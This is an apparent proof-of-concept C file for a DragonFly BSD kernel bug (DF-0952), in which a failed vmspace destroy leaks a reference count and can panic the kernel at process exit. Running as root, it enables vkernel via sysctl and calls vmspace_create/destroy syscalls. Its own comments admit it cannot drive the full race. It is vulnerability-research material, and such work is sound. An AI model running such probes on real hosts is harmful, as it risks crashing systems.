DF-0952 / vmspace_refs_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* * DF-0952 — sys_vmspace_destroy ve->refs leak on EBUSY (vm_vmspace.c:222-231). * * The bug (vm_vmspace.c:222-231): * * lwkt_gettoken(&vkp->token); // excl held * if ((ve = vkernel_find_vmspace(vkp, uap->id, 1)) != NULL) { // refs +1 * error = vmspace_entry_delete(ve, vkp, 1); * if (error == 0) * vmspace_entry_cache_drop(ve); // only on success * } * lwkt_reltoken(&vkp->token); * * vmspace_entry_delete (vm_vmspace.c:639): * * if (atomic_cmpset_int(&ve->refs, refs, VKE_REF_DELETED) == 0) { * KKASSERT(ve->refs >= refs); * return EBUSY; // <-- +1 leaked * } * * On EBUSY the +1 ref added by vkernel_find_vmspace is never dropped. * Each failed destroy permanently inflates ve->refs by 1, making the * vmspace undeletable. At proc exit, rb_vmspace_delete calls * vmspace_entry_delete(ve, vkp, 0) which expects refs==0 and panics: * * if (vmspace_entry_delete(ve, vkp, 0) == 0) * vmspace_entry_cache_drop(ve); * else * panic("rb_vmspace_delete: invalid refs %d", ve->refs); * * EBUSY is reachable when sys_vmspace_ctl(RUN) holds an extra ref * (vm_vmspace.c:309). Triggering the bug end-to-end requires the * vkernel RUN path with valid trapframe/vextframe — heavy setup * (map user code into the foreign vmspace, etc). * * This PoC does the simplest meaningful thing: enable vkernel, * create a vmspace, attempt destroy under contention to inflate refs, * then exit to trigger the panic at proc exit. * * Note: sys_vmspace_destroy holds vkp->token (excl) so concurrent * destroys serialize. The actual EBUSY requires another thread/LWP * holding an active ref via sys_vmspace_ctl(RUN). For an end-to-end * panic PoC we'd need a working vkernel RUN, which is heavy. Here * we at least exercise the API surface to confirm reachability and * document why the race is non-trivial to trigger. */ #include <sys/types.h> #include <sys/syscall.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> /* DragonFly vmspace syscalls (sys/kern/syscalls.master) */ #define SYS_vmspace_create 486 #define SYS_vmspace_destroy 487 #define SYS_vmspace_ctl 488 #define SYS_vmspace_mmap 489 #define VMSPACE_CTL_RUN 1 struct vmspace_create_args { void *id; int type; void *data; }; struct vmspace_ctl_args { void *id; int cmd; void *tframe; void *vframe; }; int main(void) { if (getuid() != 0) { fprintf(stderr, "[!] DF-0952 must run as root to set vm.vkernel_enable=1\n"); return 2; } printf("[*] DF-0952 ve->refs leak probe\n"); /* Enable vkernel (root-set sysctl). This is the documented * precondition - any admin running a vkernel has it set. */ int r = system("sysctl -w vm.vkernel_enable=1"); if (r != 0) { fprintf(stderr, "[!] failed to enable vm.vkernel_enable\n"); return 2; } void *id = (void *)0x1234; int type = 0; void *data = NULL; /* DragonFly syscall ABI passes args directly (not pointer-to-struct); the kernel marshalls them into a vmspace_create_args * */ r = syscall(SYS_vmspace_create, id, type, data); if (r < 0) { perror("[!] vmspace_create"); printf("[*] vmspace_create failed - vkernel API unreachable on this kernel?\n"); return 1; } printf("[+] vmspace_create(id=%p) = %d\n", id, r); /* Successful destroy path - should work, ve->refs == 0 */ r = syscall(SYS_vmspace_destroy, id); printf("[*] vmspace_destroy(id=%p) on fresh ve: rc=%d errno=%d\n", id, r, r ? errno : 0); if (r == 0) { printf("[+] destroy succeeded on uncontended ve (no EBUSY possible, no leak)\n"); printf("[*] To trigger the cited panic: concurrent sys_vmspace_ctl(RUN) + destroy\n"); printf("[*] requires real vkernel setup with valid trapframe in the foreign vmspace\n"); } /* Recreate for the leak demo - call destroy twice; second should be ENOENT * if first succeeded. If first failed (EBUSY) we'd leak - but EBUSY needs * a concurrent RUN holder. Without that we cannot drive the leak from * userspace in a single-shooter PoC. */ r = syscall(SYS_vmspace_create, id, type, data); printf("[*] recreate vmspace_create: rc=%d\n", r); r = syscall(SYS_vmspace_destroy, id); printf("[*] destroy: rc=%d errno=%d\n", r, r ? errno : 0); return 0; } |